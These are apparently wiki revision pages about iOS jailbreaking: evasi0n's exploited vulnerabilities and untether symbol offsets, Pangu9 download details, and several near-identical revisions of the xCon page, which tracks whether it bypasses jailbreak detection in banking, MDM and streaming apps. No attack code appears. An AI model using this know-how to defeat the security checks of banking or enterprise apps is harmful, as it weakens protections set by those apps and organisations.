| style="text-decoration: line-through;" | [http://rapidshare.com/files/478466150/evasi0n-mac-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.dmg RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-mac-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.dmg iClarified]
|-
| Windows
| <code>2f8c2f111a6afefd099ecb0ce5aab63f160940b8</code>
| style="text-decoration: line-through;" | [https://evad3rs.app.box.com/s/mh5vk7hpa7r3ymhnyjsz Box]
| style="text-decoration: line-through;" | [https://mega.co.nz/#!lscBQKST!88XCNjSPj0FYFlu1v3WApcrwW2XnHD_IEPKRef1RiWk MEGA]
| style="text-decoration: line-through;" | [http://rapidshare.com/files/1014635071/evasi0n-win-1.5.3-f284166e164e33735163af64b0af4e6336654345-release.zip RapidShare]
| [http://www.iclarified.com/files/evasi0n/evasi0n-win-1.5.3-release.zip iClarified]
|}

== Exploits and Vulnerabilities ==
evasi0n takes advantage of several vulnerabilities:
* [[Symbolic Link Vulnerability]]
* [[Malformed PairRequest]]
* [[Timezone Vulnerability]] (CVE-2013-0979)
* [[Shebang Trick]]
* [[AMFID code signing evasion]]
* [[launchd.conf untether]]
* [[IOUSBDeviceFamily Vulnerability]] (CVE-2013-0981)
* [[ARM Exception Vector Info Leak]] (CVE-2013-0978)
* [[dynamic memmove() locating]]
* [[vm_map_copy_t corruption for arbitrary memory disclosure]]
* [[kernel memory write via ROP gadget]]
* [[Overlapping Segment Attack]] (CVE-2013-0977)

== Symbols in Untether code ==
{| class="wikitable" style="text-align:left;"
! Symbol
! v1
! v2
! v3
! v4
! v5
! v6
! v7
! v8/9
|-
| start
| 020B0
| 02EF8
| 02BFC
| 02BFC
| 02BFC
| 02E30
| ?
| 02A80
|-
| find_memmove_arm#search
| ?
| ?
| ?
| ?
| ?
| 0AFA0
| ?
| ?
|-
| find_memmove_thumb#search
| ?
| ?
| ?
| ?
| ?
| 0AFD0
| ?
| ?
|-
| find_memmove
| ?
| ?
| ?
| ?
| ?
| 0571C
| ?
| ?
|-
| find_memmove#exit
| ?
| ?
| ?
| ?
| ?
| 05762
| ?
| ?
|-
| _catch_exception_raise_state_identity
| ?
| ?
| ?
| ?
| ?
| ?
| ?
| 065B8
|}

== See Also ==
* [[evad3rs]]
* [[Patchfinder]]

== External Links ==
* [http://blog.accuvant.com/bthomasaccuvant/evasi0n-jailbreaks-userland-component/ Accuvant Labs analysis]
* [http://blog.azimuthsecurity.com/2013/02/from-usr-to-svc-dissecting-evasi0n.html Analysis by kernelpool]
* [http://www.nislab.no/content/download/38610/481190/file/NISlecture201303.pdf kernelpool presentation at NISlab: slides]
* [http://forelesning.hig.no/publish/1363953611-9b560e3de8f2/combined.mp4 kernelpool presentation at NISlab: video]
* [http://www.forbes.com/sites/andygreenberg/2013/02/05/inside-evasi0n-the-most-elaborate-jailbreak-to-ever-hack-your-iphone/ Explanation by planetbeing in Forbes]
* [https://github.com/NetsourceLabs/HopperScripts Hopper Script to demangle evasi0n strings] for Mac client of evasi0n, use in Hopper disassembler
* [http://support.apple.com/kb/HT5704 Apple Response: iOS 6.1.3 Security Fixes]
* [http://support.apple.com/kb/HT5702 Apple Response: iOS 5.2.1 (Apple TV) Security Fixes]
* [http://conference.hitb.org/hitbsecconf2013ams/materials/D2T1%20-%20Pod2g,%20Planetbeing,%20Musclenerd%20and%20Pimskeks%20aka%20Evad3rs%20-%20Swiping%20Through%20Modern%20Security%20Features.pdf Slides from HITB presentation in Amsterdam 2013]
* [http://www.quarkslab.com/en-blog+read+38 Quarkslab blog post describing how evasi0n bypasses code signing]

[[Category:Jailbreaks]]
[[Category:Jailbreaking]]
[[Category:Cydia Packages]]

Talk:ECID

2017-04-02T22:32:43Z

Http: /* iTunes format */ new section

There has been a common misconception with [[SHSH|SHSH Blobs]] and [[ECID]] therefore resulting in misleading sections in this article. --[[User:Whiteshinyapple|Whiteshinyapple]]

== iTunes format ==

The article says that iTunes displays the ECID in hex format. To me, in latest iTunes, this seems to be a decimal format. Can someone please verify that and correct the article with the version since when that has changed? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:32, 2 April 2017 (UTC)

User:Bushing

2016-02-09T23:08:22Z

Http: add link to message from fail0verflow and his name and age

Member of the [[iPhone Dev Team]]. Was present at the [[25C3_presentation_"Hacking_the_iPhone"|25C3 Event]].
His real name is Ben Byer and he lived from 1980-2016.

== Links ==
* [http://twitter.com/gnihsub Twitter]
* [https://github.com/Bushing GitHub]
* [https://fail0verflow.com/ben Message from fail0verflow]
[[Category:Hackers]]

Pangu9

2015-10-15T22:06:36Z

Http: /* Windows */ hash cannot be the same as in version 1.0.0 - can someone verify this hash?

{{Infobox software
| name = Pangu9
| title = Pangu9
| screenshot = [[File:Pangu9.png|355px]]
| caption = Pangu9 v1.0.0 on Windows
| author = Pangu Team
| developer = Pangu Team
| released = {{Start date|2015|10|14|df=yes}}
| discontinued =
| latest release version = 1.0.1 (Windows) / {{Start date and age|2015|10|15|df=yes}}
| latest release date =
| latest preview version =
| latest preview date =
| programming language = [[wikipedia:C (programming language)|C]]
| operating system = [[wikipedia:Microsoft Windows|Windows]]
| size =
| platform = [[wikipedia:Microsoft Windows|Windows]]
| language = [[wikipedia:Chinese language|Chinese]] / [[wikipedia:English language|English]]
| status = Active
| genre = Jailbreaking
| license = [[wikipedia:Freeware|Freeware]]
| website = [http://en.pangu.io en.pangu.io] (English) [http://pangu.io pangu.io] (Chinese)
}}

'''Pangu9''' is an [[untethered jailbreak]] for all devices on iOS 9.0 through 9.0.2, except the [[Apple TV]] and [[Apple Watch]]. It was initially released on 14 October 2015.

== Supported Devices ==
All devices capable of running [[iOS]] 9.0-9.0.2, except the [[Apple TV]] and [[Apple Watch]] family, are supported.

== Download ==
=== Windows ===
{| class="wikitable"
! Version
! SHA-1 Hash
! Download
! Changes
|-
| 1.0.0
| <code>c48e1c1f84c1d5ff6046cc4eb7344335b314ba4b</code>
| [http://dl.pangu.25pp.com/jb/Pangu9_v1.0.0.exe 25PP]
| Pangu jailbreak tool for iOS 9.0-9.0.2
|-
| 1.0.1
| <code>05a0727085de1dd60eb4ec3a7bc343dd317d55d5</code>
| [http://dl.pangu.25pp.com/jb/Pangu9_v1.0.1.exe 25PP]
| Fix a bug that leads to 0A error code. Fix failure of launching on some PC. Improved success rate Ensure the removal of the Pangu app.
|}

== Name ==
"Pangu" is the name of the "[[wikipedia:Pangu|the first living being and the creator of all in some versions of Chinese mythology]]".

The 9.0-9.0.2 untether is nicknamed "Fuxi Qin".

[[Category:Jailbreaks]]
[[Category:Jailbreaking]]

XCon

2015-06-26T23:02:10Z

Http: /* App Patching Status */ store link

{{lowercase}}
xCon is a collaborative project by [http://twitter.com/unimp0rtanttech n00neimp0rtant] and [http://twitter.com/olunatiko Lunatik] that aims to be an all-in-one solution for hooking every known method and function responsible for informing an application of a jailbroken device. At first, the project aimed to patch applications on a per-app basis, but now it uses lower-level hooks to cover any apps that attempt to use the same procedure, even patching apps not explicitly reversed by the developers. Originally an open-source project, it remains closed-source now to discourage App Store developers from working around xCon's hooks.

xCon is available free of charge in Cydia. No configuration is needed; just install and go.

For general infos, see [[Bypassing Jailbreak Detection]].

== App Patching Status ==
''You can find an app's current release version in its iTunes listing page, linked below in the app names. If an app's current release version is newer than the "Last Confirmed Working Version," please help by testing it out yourself with the latest release of xCon and updating the table as necessary.''

'''ATTENTION: If you are going to edit this chart, do NOT just put a question mark for or leave blank the Bundle Identifier. You can find the bundle ID of any app by looking in its Info.plist file. This saves the devs both time and effort, and it also helps the devs filter patches on a per-app basis, making your phone or iPad run faster and more stable.'''

{| class="wikitable" style="text-align:center; width:100%;"
|-
! App Name
! Bundle Identifier
! Patched?
! Last Confirmed Working Version
! Notes
|-
| [http://itunes.apple.com/us/app/airwatch-mdm-agent/id338761996?mt=8 Airwatch MDM]
| com.air-watch.agent
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/328 No]
| 3.0.8
| Workaround available.
|-
| [http://itunes.apple.com/us/app/amazon-instant-video/id545519333?mt=8 Amazon Instant Video]
| ?
| {{Yes}}
| 1.0
|
|-
| [https://itunes.apple.com/us/app/ankimobile-flashcards/id373493387?mt=8 Ankimobile]
| net.ichi2.anki
| {{No}}
| N/A
|
|-
| [http://itunes.apple.com/gb/app/barclays-mobile-banking/id536248734?mt=8 Barclays Mobile Banking]
| uk.co.barclays.bmbappstore
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| N/A
| Detects jailbreak with an RG22 error.
|-
| [http://itunes.apple.com/gb/app/barclays-pingit/id496552142?mt=8 Barclays PingIt]
| uk.co.barclays.PingIt
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| 1.0.2
| 1.0.2 no-longer supported by Barclays
|-
| [http://itunes.apple.com/us/app/bamboo-wallet/id492663955?mt=8 Bamboo Wallet]
| ?
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| 7.5.4
|
|-
| [http://itunes.apple.com/us/app/optimum/id387231038?mt=8 Cablevision Optimum]
| com.cablevision.rDVR
| {{Yes}}
| 2.1.2
|
|-
| [http://itunes.apple.com/us/app/optimum-for-ipad/id424612367?mt=8 Cablevision Optimum (iPad)]
| com.cablevision.iOTV
| {{Yes}}
| 2.1.1
|
|-
| [http://itunes.apple.com/gb/app/capital-one-uk/id481679012?mt=8 Capital One UK]
| com.ukcapitalone.capitalone
| {{Yes}}
| 5.1
|
|-
| [https://itunes.apple.com/us/app/chrome-web-browser-by-google/id535886823?mt=8 Chrome]
| com.google.chrome.ios
| {{Yes}}
| 25.0.1364.86
|
|-
| [http://itunes.apple.com/my/app/cimb-clicks/id328803038?mt=8 CIMB Clicks]
| com.cimb.CIMB
| {{Yes}}
| 05.10.03
| Works with V39 beta 7
|-
| [http://itunes.apple.com/au/app/commbank-kaching/id475728226?mt=8 Commbank Kaching]
| au.com.commbank.kaching
| {{Yes}}
| 1.1.0
|
|-
| [http://itunes.apple.com/us/app/cox-tv-connect-for-ipad/id474096909?mt=8 Cox TV Connect]
| com.cox.ios.ipad.tvconnect
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/245 No]
| 1.0.1
|
|-
| [http://itunes.apple.com/us/app/directv-app-for-ipad/id421547368?mt=8 DirecTV for iPad]
| com.directv.mobile.ipad.navigator.production
| {{Yes}}
| 1.3.4-1.5.0
|
|-
| [https://itunes.apple.com/app/id307386350 DIRECTV]
| com.directv.DTViPhone
| {{No}}
|
|
|-
| [http://itunes.apple.com/us/app/directv-nomad/id448679509?mt=8 DirecTV Nomad]
| com.directv.mobile.iphone.nomad.production
| {{Yes}}
| 2.0.1
|
|-
| [https://itunes.apple.com/ch/app/dkb-pushtan/id881860044?mt=8 DKB-pushTAN]
| de.dkb.pushtan
| {{No}}
|
| Error message on startup.
|-
| [http://itunes.apple.com/za/app/dstv-mobile-decoder/id403946447?mt=8 DStv Mobile Decoder]
| com.multichoice.DStvMobileDVBH
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/357 No]
| 1.01.07
|
|-
| [http://itunes.apple.com/us/app/entrust-identityguard-mobile/id384717687?mt=8 Entrust IdentityGuard Mobile]
| com.entrust.IdentityGuardSoftToken
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/297 No]
| N/A
|
|-
| [http://itunes.apple.com/us/app/movies-by-flixster-rotten/id284235722?mt=8 Flixster/Movies/Ultraviolet]
| com.jeffreygrossman.moviesapp
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/266 No]
| 5.22
|
|-
| [http://itunes.apple.com/us/app/golden-screen-cinemas/id413024972?mt=8 Golden Screen Cinemas]
| com.sinodynamic.gsc
| {{Yes}}
| 1.4
|
|-
| [http://itunes.apple.com/us/app/good-for-enterprise/id333202351?l=es&mt=8 Good For Enterprise]
| com.good.gmmiphone
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/32 No]
| 1.9.10
| App works but admin console still reports jailbreak.
|-

| [http://itunes.apple.com/us/app/ibooks/id364709193?mt=8 iBooks]
| com.apple.iBooks
| {{No}}
| ?
| Patch available in Cydia.
|-
| [http://itunes.apple.com/us/app/kbseutabaengking/id373742138?mt=8 KB star]
| com.kbstar.kbbank
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/81 No]
| 1.14.1
|
|-
| [http://itunes.apple.com/us/app/kb-starplus/id381065734?mt=8 KB starPlus]
| com.kbstar.starplus
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/81 No]
| 1.2.0
|
|-
| [http://itunes.apple.com/gb/app/lovefilm-player-for-ipad/id454468674?mt=8 LOVEFiLM Player for iPad]
| com.lovefilm.watchnow.ipad
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/270 No]
| 1.0
|
|-
| [http://itunes.apple.com/us/app/maxis-movies/id369867024?mt=8 Maxis Movies]
| com.maxis.moviebooking
| {{Yes}}
| 1.1.6
|
|-
| [http://itunes.apple.com/us/app/maxis-movies-for-ipad/id418096484?mt=8 Maxis Movies (iPad)]
| com.maxis.moviebookingipad
| {{Yes}}
| 1.1.2
|
|-
| [http://itunes.apple.com/us/app/mcafee-enterprise-mobility/id322111072?mt=8 McAfee EMM]
| com.trustdigital.iTDClient
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/252 No]
| 4.7.1
|
|-
| [http://itunes.apple.com/us/app/mobileiron-myphone-work-client/id320659794?mt=8 MobileIron MyPhone@Work]
| com.mobileiron.phoneatwork
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/319 No]
| 4.5.12
|
|-
| [https://itunes.apple.com/au/app/quickflix-watchnow/id517915248?mt=8 Quickflix]
| au.com.quickflix.streaming
| {{Yes}}
| ?
|
|-
| [http://itunes.apple.com/us/app/repudo/id416444260?mt=8 Repudo]
| com.repudo.iphone
| {{Partial|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/107 v39 b3]
| 3.2.2
|
|-
| [http://itunes.apple.com/us/app/redbox-instant-by-verizon/id561226994?mt=8 Redbox Instant by Verizon]
| com.ctlabs.redboxinstant
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/356 No]
| 1.0.2
|
|-
| [http://itunes.apple.com/us/app/skype/id304878510?mt=8 Skype]
| com.skype.skype
| {{Yes}}
| 3.7
|
|-
| [http://itunes.apple.com/gb/app/sky-go/id446086440?mt=8 Sky Go]
| com.bskyb.skygo
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/55 No]
| 2.2
| After updating the app it is now reporting "Streaming is unavailable on jailbroken devices"
|-
| [http://itunes.apple.com/us/app/square/id335393788?mt=8 Square]
| com.squareup.square
| {{Yes}}
| 2.2.5
|
|-
| [http://itunes.apple.com/ca/app/telus-optik-tv-hd/id467260646?mt=8 Telus Optik TV]
| com.telus.nscreen
| {{Yes}}
| 1.1.2
|
|-
| [https://itunes.apple.com/us/app/tivo/id401673976 TiVo]
| ?
| {{Partial|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/317 v39 b7]
|
|
|-
| [http://itunes.apple.com/us/app/tv-live-de-la-orange/id390896393?mt=8 TV live de la Orange]
| com.orange.TVOrange
| {{Yes}}
| 1.0
|
|-
| [http://itunes.apple.com/us/app/twc-tv/id420455839?mt=8 TWC TV]
| com.timewarnercable.simulcast
| {{Yes}}
| 2.6.1
|
|-
| [http://itunes.apple.com/us/app/verizon-media-manager/id460536890?mt=8 Verizon Media Manager]
| com.verizon.ams.flexview
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/351 No]
| 2.0.29.26
|
|-
| [http://itunes.apple.com/no/app/voddler/id409806444?mt=8 Voddler]
| com.voddler.VoddlerHD
| {{Yes}}
| 1.2.1
|
|-
| [http://itunes.apple.com/us/app/whatsapp-messenger/id310633997?mt=9 WhatsApp]
| net.whatsapp.WhatsApp
| {{Yes}}
| 2.6.10
| [http://pic.twitter.com/xEaFciOP Support button blocked]
|}

== References ==
* [https://github.com/n00neimp0rtant/xCon-Issues Issue list]

[[Category:Cydia Packages]]

XCon

2015-06-26T22:59:27Z

Http: /* App Patching Status */ add missing identifier

{{lowercase}}
xCon is a collaborative project by [http://twitter.com/unimp0rtanttech n00neimp0rtant] and [http://twitter.com/olunatiko Lunatik] that aims to be an all-in-one solution for hooking every known method and function responsible for informing an application of a jailbroken device. At first, the project aimed to patch applications on a per-app basis, but now it uses lower-level hooks to cover any apps that attempt to use the same procedure, even patching apps not explicitly reversed by the developers. Originally an open-source project, it remains closed-source now to discourage App Store developers from working around xCon's hooks.

xCon is available free of charge in Cydia. No configuration is needed; just install and go.

For general infos, see [[Bypassing Jailbreak Detection]].

== App Patching Status ==
''You can find an app's current release version in its iTunes listing page, linked below in the app names. If an app's current release version is newer than the "Last Confirmed Working Version," please help by testing it out yourself with the latest release of xCon and updating the table as necessary.''

'''ATTENTION: If you are going to edit this chart, do NOT just put a question mark for or leave blank the Bundle Identifier. You can find the bundle ID of any app by looking in its Info.plist file. This saves the devs both time and effort, and it also helps the devs filter patches on a per-app basis, making your phone or iPad run faster and more stable.'''

{| class="wikitable" style="text-align:center; width:100%;"
|-
! App Name
! Bundle Identifier
! Patched?
! Last Confirmed Working Version
! Notes
|-
| [http://itunes.apple.com/us/app/airwatch-mdm-agent/id338761996?mt=8 Airwatch MDM]
| com.air-watch.agent
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/328 No]
| 3.0.8
| Workaround available.
|-
| [http://itunes.apple.com/us/app/amazon-instant-video/id545519333?mt=8 Amazon Instant Video]
| ?
| {{Yes}}
| 1.0
|
|-
| [https://itunes.apple.com/us/app/ankimobile-flashcards/id373493387?mt=8 Ankimobile]
| net.ichi2.anki
| {{No}}
| N/A
|
|-
| [http://itunes.apple.com/gb/app/barclays-mobile-banking/id536248734?mt=8 Barclays Mobile Banking]
| uk.co.barclays.bmbappstore
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| N/A
| Detects jailbreak with an RG22 error.
|-
| [http://itunes.apple.com/gb/app/barclays-pingit/id496552142?mt=8 Barclays PingIt]
| uk.co.barclays.PingIt
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| 1.0.2
| 1.0.2 no-longer supported by Barclays
|-
| [http://itunes.apple.com/us/app/bamboo-wallet/id492663955?mt=8 Bamboo Wallet]
| ?
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| 7.5.4
|
|-
| [http://itunes.apple.com/us/app/optimum/id387231038?mt=8 Cablevision Optimum]
| com.cablevision.rDVR
| {{Yes}}
| 2.1.2
|
|-
| [http://itunes.apple.com/us/app/optimum-for-ipad/id424612367?mt=8 Cablevision Optimum (iPad)]
| com.cablevision.iOTV
| {{Yes}}
| 2.1.1
|
|-
| [http://itunes.apple.com/gb/app/capital-one-uk/id481679012?mt=8 Capital One UK]
| com.ukcapitalone.capitalone
| {{Yes}}
| 5.1
|
|-
| [https://itunes.apple.com/us/app/chrome-web-browser-by-google/id535886823?mt=8 Chrome]
| com.google.chrome.ios
| {{Yes}}
| 25.0.1364.86
|
|-
| [http://itunes.apple.com/my/app/cimb-clicks/id328803038?mt=8 CIMB Clicks]
| com.cimb.CIMB
| {{Yes}}
| 05.10.03
| Works with V39 beta 7
|-
| [http://itunes.apple.com/au/app/commbank-kaching/id475728226?mt=8 Commbank Kaching]
| au.com.commbank.kaching
| {{Yes}}
| 1.1.0
|
|-
| [http://itunes.apple.com/us/app/cox-tv-connect-for-ipad/id474096909?mt=8 Cox TV Connect]
| com.cox.ios.ipad.tvconnect
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/245 No]
| 1.0.1
|
|-
| [http://itunes.apple.com/us/app/directv-app-for-ipad/id421547368?mt=8 DirecTV for iPad]
| com.directv.mobile.ipad.navigator.production
| {{Yes}}
| 1.3.4-1.5.0
|
|-
| [https://itunes.apple.com/app/id307386350 DIRECTV]
| com.directv.DTViPhone
| {{No}}
|
|
|-
| [http://itunes.apple.com/us/app/directv-nomad/id448679509?mt=8 DirecTV Nomad]
| com.directv.mobile.iphone.nomad.production
| {{Yes}}
| 2.0.1
|
|-
| DKB-pushTAN
| de.dkb.pushtan
| {{No}}
|
| Error message on startup.
|-
| [http://itunes.apple.com/za/app/dstv-mobile-decoder/id403946447?mt=8 DStv Mobile Decoder]
| com.multichoice.DStvMobileDVBH
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/357 No]
| 1.01.07
|
|-
| [http://itunes.apple.com/us/app/entrust-identityguard-mobile/id384717687?mt=8 Entrust IdentityGuard Mobile]
| com.entrust.IdentityGuardSoftToken
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/297 No]
| N/A
|
|-
| [http://itunes.apple.com/us/app/movies-by-flixster-rotten/id284235722?mt=8 Flixster/Movies/Ultraviolet]
| com.jeffreygrossman.moviesapp
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/266 No]
| 5.22
|
|-
| [http://itunes.apple.com/us/app/golden-screen-cinemas/id413024972?mt=8 Golden Screen Cinemas]
| com.sinodynamic.gsc
| {{Yes}}
| 1.4
|
|-
| [http://itunes.apple.com/us/app/good-for-enterprise/id333202351?l=es&mt=8 Good For Enterprise]
| com.good.gmmiphone
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/32 No]
| 1.9.10
| App works but admin console still reports jailbreak.
|-

| [http://itunes.apple.com/us/app/ibooks/id364709193?mt=8 iBooks]
| com.apple.iBooks
| {{No}}
| ?
| Patch available in Cydia.
|-
| [http://itunes.apple.com/us/app/kbseutabaengking/id373742138?mt=8 KB star]
| com.kbstar.kbbank
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/81 No]
| 1.14.1
|
|-
| [http://itunes.apple.com/us/app/kb-starplus/id381065734?mt=8 KB starPlus]
| com.kbstar.starplus
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/81 No]
| 1.2.0
|
|-
| [http://itunes.apple.com/gb/app/lovefilm-player-for-ipad/id454468674?mt=8 LOVEFiLM Player for iPad]
| com.lovefilm.watchnow.ipad
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/270 No]
| 1.0
|
|-
| [http://itunes.apple.com/us/app/maxis-movies/id369867024?mt=8 Maxis Movies]
| com.maxis.moviebooking
| {{Yes}}
| 1.1.6
|
|-
| [http://itunes.apple.com/us/app/maxis-movies-for-ipad/id418096484?mt=8 Maxis Movies (iPad)]
| com.maxis.moviebookingipad
| {{Yes}}
| 1.1.2
|
|-
| [http://itunes.apple.com/us/app/mcafee-enterprise-mobility/id322111072?mt=8 McAfee EMM]
| com.trustdigital.iTDClient
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/252 No]
| 4.7.1
|
|-
| [http://itunes.apple.com/us/app/mobileiron-myphone-work-client/id320659794?mt=8 MobileIron MyPhone@Work]
| com.mobileiron.phoneatwork
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/319 No]
| 4.5.12
|
|-
| [https://itunes.apple.com/au/app/quickflix-watchnow/id517915248?mt=8 Quickflix]
| au.com.quickflix.streaming
| {{Yes}}
| ?
|
|-
| [http://itunes.apple.com/us/app/repudo/id416444260?mt=8 Repudo]
| com.repudo.iphone
| {{Partial|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/107 v39 b3]
| 3.2.2
|
|-
| [http://itunes.apple.com/us/app/redbox-instant-by-verizon/id561226994?mt=8 Redbox Instant by Verizon]
| com.ctlabs.redboxinstant
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/356 No]
| 1.0.2
|
|-
| [http://itunes.apple.com/us/app/skype/id304878510?mt=8 Skype]
| com.skype.skype
| {{Yes}}
| 3.7
|
|-
| [http://itunes.apple.com/gb/app/sky-go/id446086440?mt=8 Sky Go]
| com.bskyb.skygo
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/55 No]
| 2.2
| After updating the app it is now reporting "Streaming is unavailable on jailbroken devices"
|-
| [http://itunes.apple.com/us/app/square/id335393788?mt=8 Square]
| com.squareup.square
| {{Yes}}
| 2.2.5
|
|-
| [http://itunes.apple.com/ca/app/telus-optik-tv-hd/id467260646?mt=8 Telus Optik TV]
| com.telus.nscreen
| {{Yes}}
| 1.1.2
|
|-
| [https://itunes.apple.com/us/app/tivo/id401673976 TiVo]
| ?
| {{Partial|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/317 v39 b7]
|
|
|-
| [http://itunes.apple.com/us/app/tv-live-de-la-orange/id390896393?mt=8 TV live de la Orange]
| com.orange.TVOrange
| {{Yes}}
| 1.0
|
|-
| [http://itunes.apple.com/us/app/twc-tv/id420455839?mt=8 TWC TV]
| com.timewarnercable.simulcast
| {{Yes}}
| 2.6.1
|
|-
| [http://itunes.apple.com/us/app/verizon-media-manager/id460536890?mt=8 Verizon Media Manager]
| com.verizon.ams.flexview
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/351 No]
| 2.0.29.26
|
|-
| [http://itunes.apple.com/no/app/voddler/id409806444?mt=8 Voddler]
| com.voddler.VoddlerHD
| {{Yes}}
| 1.2.1
|
|-
| [http://itunes.apple.com/us/app/whatsapp-messenger/id310633997?mt=9 WhatsApp]
| net.whatsapp.WhatsApp
| {{Yes}}
| 2.6.10
| [http://pic.twitter.com/xEaFciOP Support button blocked]
|}

== References ==
* [https://github.com/n00neimp0rtant/xCon-Issues Issue list]

[[Category:Cydia Packages]]

XCon

2015-06-20T13:01:59Z

Http: /* App Patching Status */ added DKB-pushTAN, need more infos though

{{lowercase}}
xCon is a collaborative project by [http://twitter.com/unimp0rtanttech n00neimp0rtant] and [http://twitter.com/olunatiko Lunatik] that aims to be an all-in-one solution for hooking every known method and function responsible for informing an application of a jailbroken device. At first, the project aimed to patch applications on a per-app basis, but now it uses lower-level hooks to cover any apps that attempt to use the same procedure, even patching apps not explicitly reversed by the developers. Originally an open-source project, it remains closed-source now to discourage App Store developers from working around xCon's hooks.

xCon is available free of charge in Cydia. No configuration is needed; just install and go.

For general infos, see [[Bypassing Jailbreak Detection]].

== App Patching Status ==
''You can find an app's current release version in its iTunes listing page, linked below in the app names. If an app's current release version is newer than the "Last Confirmed Working Version," please help by testing it out yourself with the latest release of xCon and updating the table as necessary.''

'''ATTENTION: If you are going to edit this chart, do NOT just put a question mark for or leave blank the Bundle Identifier. You can find the bundle ID of any app by looking in its Info.plist file. This saves the devs both time and effort, and it also helps the devs filter patches on a per-app basis, making your phone or iPad run faster and more stable.'''

{| class="wikitable" style="text-align:center; width:100%;"
|-
! App Name
! Bundle Identifier
! Patched?
! Last Confirmed Working Version
! Notes
|-
| [http://itunes.apple.com/us/app/airwatch-mdm-agent/id338761996?mt=8 Airwatch MDM]
| com.air-watch.agent
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/328 No]
| 3.0.8
| Workaround available.
|-
| [http://itunes.apple.com/us/app/amazon-instant-video/id545519333?mt=8 Amazon Instant Video]
| ?
| {{Yes}}
| 1.0
|
|-
| [https://itunes.apple.com/us/app/ankimobile-flashcards/id373493387?mt=8 Ankimobile]
| net.ichi2.anki
| {{No}}
| N/A
|
|-
| [http://itunes.apple.com/gb/app/barclays-mobile-banking/id536248734?mt=8 Barclays Mobile Banking]
| uk.co.barclays.bmbappstore
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| N/A
| Detects jailbreak with an RG22 error.
|-
| [http://itunes.apple.com/gb/app/barclays-pingit/id496552142?mt=8 Barclays PingIt]
| uk.co.barclays.PingIt
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| 1.0.2
| 1.0.2 no-longer supported by Barclays
|-
| [http://itunes.apple.com/us/app/bamboo-wallet/id492663955?mt=8 Bamboo Wallet]
| ?
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/61 No]
| 7.5.4
|
|-
| [http://itunes.apple.com/us/app/optimum/id387231038?mt=8 Cablevision Optimum]
| com.cablevision.rDVR
| {{Yes}}
| 2.1.2
|
|-
| [http://itunes.apple.com/us/app/optimum-for-ipad/id424612367?mt=8 Cablevision Optimum (iPad)]
| com.cablevision.iOTV
| {{Yes}}
| 2.1.1
|
|-
| [http://itunes.apple.com/gb/app/capital-one-uk/id481679012?mt=8 Capital One UK]
| com.ukcapitalone.capitalone
| {{Yes}}
| 5.1
|
|-
| [https://itunes.apple.com/us/app/chrome-web-browser-by-google/id535886823?mt=8 Chrome]
| com.google.chrome.ios
| {{Yes}}
| 25.0.1364.86
|
|-
| [http://itunes.apple.com/my/app/cimb-clicks/id328803038?mt=8 CIMB Clicks]
| com.cimb.CIMB
| {{Yes}}
| 05.10.03
| Works with V39 beta 7
|-
| [http://itunes.apple.com/au/app/commbank-kaching/id475728226?mt=8 Commbank Kaching]
| au.com.commbank.kaching
| {{Yes}}
| 1.1.0
|
|-
| [http://itunes.apple.com/us/app/cox-tv-connect-for-ipad/id474096909?mt=8 Cox TV Connect]
| com.cox.ios.ipad.tvconnect
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/245 No]
| 1.0.1
|
|-
| [http://itunes.apple.com/us/app/directv-app-for-ipad/id421547368?mt=8 DirecTV for iPad]
| com.directv.mobile.ipad.navigator.production
| {{Yes}}
| 1.3.4-1.5.0
|
|-
| [https://itunes.apple.com/app/id307386350 DIRECTV]
| com.directv.DTViPhone
| {{No}}
|
|
|-
